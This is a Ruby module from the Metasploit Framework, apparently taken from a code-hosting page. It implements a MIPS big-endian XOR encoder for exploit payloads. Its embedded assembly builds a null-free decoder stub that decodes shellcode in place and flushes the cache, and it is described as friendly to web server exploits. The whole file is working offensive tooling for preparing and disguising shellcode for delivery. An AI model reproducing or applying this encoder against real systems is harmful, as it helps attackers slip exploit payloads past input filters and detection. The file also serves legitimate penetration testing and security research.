155 lines
4.1 KiB
Ruby
155 lines
4.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'metasm'
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class Metasploit3 < Msf::Encoder::Xor
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def initialize
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super(
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'Name' => 'XOR Encoder',
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'Version' => '$Revision$',
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'Description' => %q{
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Mips Web server exploit friendly xor encoder
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},
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'Author' => 'Julien Tinnes <julien at cr0.org>',
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'Arch' => ARCH_MIPSBE,
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'License' => MSF_LICENSE,
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'Decoder' =>
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{
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'KeySize' => 4,
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'BlockSize' => 4,
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'KeyPack' => 'N',
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})
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end
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#
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# Returns the decoder stub that is adjusted for the size of the buffer
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# being encoded.
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#
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def decoder_stub(state)
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# add one xor operation for the key (see comment below)
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number_of_passes=state.buf.length/4+1
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raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240
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raise InvalidPayloadSizeException.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0
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# 16-bits not (again, see below)
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reg_14 = (number_of_passes+1)^0xFFFF
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decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data
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;
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; MIPS nul-free xor decoder
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;
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; (C) 2006 Julien TINNES
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; <julien at cr0.org>
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;
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; The first four bytes in encoded shellcode must be the xor key
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; This means that you have to put the xor key right after
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; this xor decoder
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; This key will be considered part of the encoded shellcode
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; by this decoder and will be xored, thus becoming 4NULs, meaning nop
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;
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; This is Linux-only because I use the cacheflush system call
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;
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; You can use shellforge to assemble this, but be sure to discard all
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; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c)
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;
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; change 2 bytes in the first instruction's opcode with the number of passes
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; the number of passes is the number of xor operations to apply, which should be
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; 1 (for the key) + the number of 4-bytes words you have in your shellcode
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; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free)
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;.text
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;.align 2
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;.globl main
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;.ent main
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;.type main,@function
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main:
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li macro reg, imm
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; lui reg, ((imm) >> 16) & 0ffffh
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; ori reg, reg, (imm) & 0ffffh
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addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff
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endm
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li( $14, #{reg_14}) ; 4 passes
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nor $14, $14, $0 ; put number of passes in $14
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li( $11,-73) ; addend to calculated PC is 73
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;.set noreorder
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next:
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bltzal $8, next
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;.set reorder
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slti $8, $0, 0x8282
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nor $11, $11, $0 ; addend in $9
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addu $25, $31, $11 ; $25 points to encoded shellcode +4
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; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush
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; lui $2, 0xDDDD ; first part of the xor (old method)
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slti $23, $0, 0x8282 ; store 0 in $23 (our counter)
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; ori $17, $2, 0xDDDD ; second part of the xor (old method)
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lw $17, -4($25) ; load xor key in $17
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li( $13, -5)
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nor $13, $13, $0 ; 4 in $13
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addi $15, $13, -3 ; 1 in $15
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loop:
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lw $8, -4($25)
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addu $23, $23, $15 ; increment counter
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xor $3, $8, $17
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sltu $30, $23, $14 ; enough loops?
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sw $3, -4($25)
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addi $6, $13, -1 ; 3 in $6 (for cacheflush)
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bne $0, $30, loop
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addu $25, $25, $13 ; next instruction to decode :)
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; addiu $4, $16, -4 ; not checked by Linux
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; li $5,40 ; not checked by Linux
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; li $6,3 ; $6 is set above
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; .set noreorder
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li( $2, 4147) ; cacheflush
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;.ascii "\\x01JT\\x0c" ; nul-free syscall
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syscall 0x52950
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; .set reorder
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; write last decoder opcode and decoded shellcode
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; li $4,1 ; stdout
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; addi $5, $16, -8
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; li $6,40 ; how much to write
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; .set noreorder
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; li $2, 4004 ; write
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; syscall
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; .set reorder
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nop ; encoded shellcoded must be here (xor key right here ;)
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; $t9 (aka $25) points here
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EOS
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# put the key at the end of the decoder
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state.decoder_key_offset = decoder.length - 4
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return decoder
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end
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end
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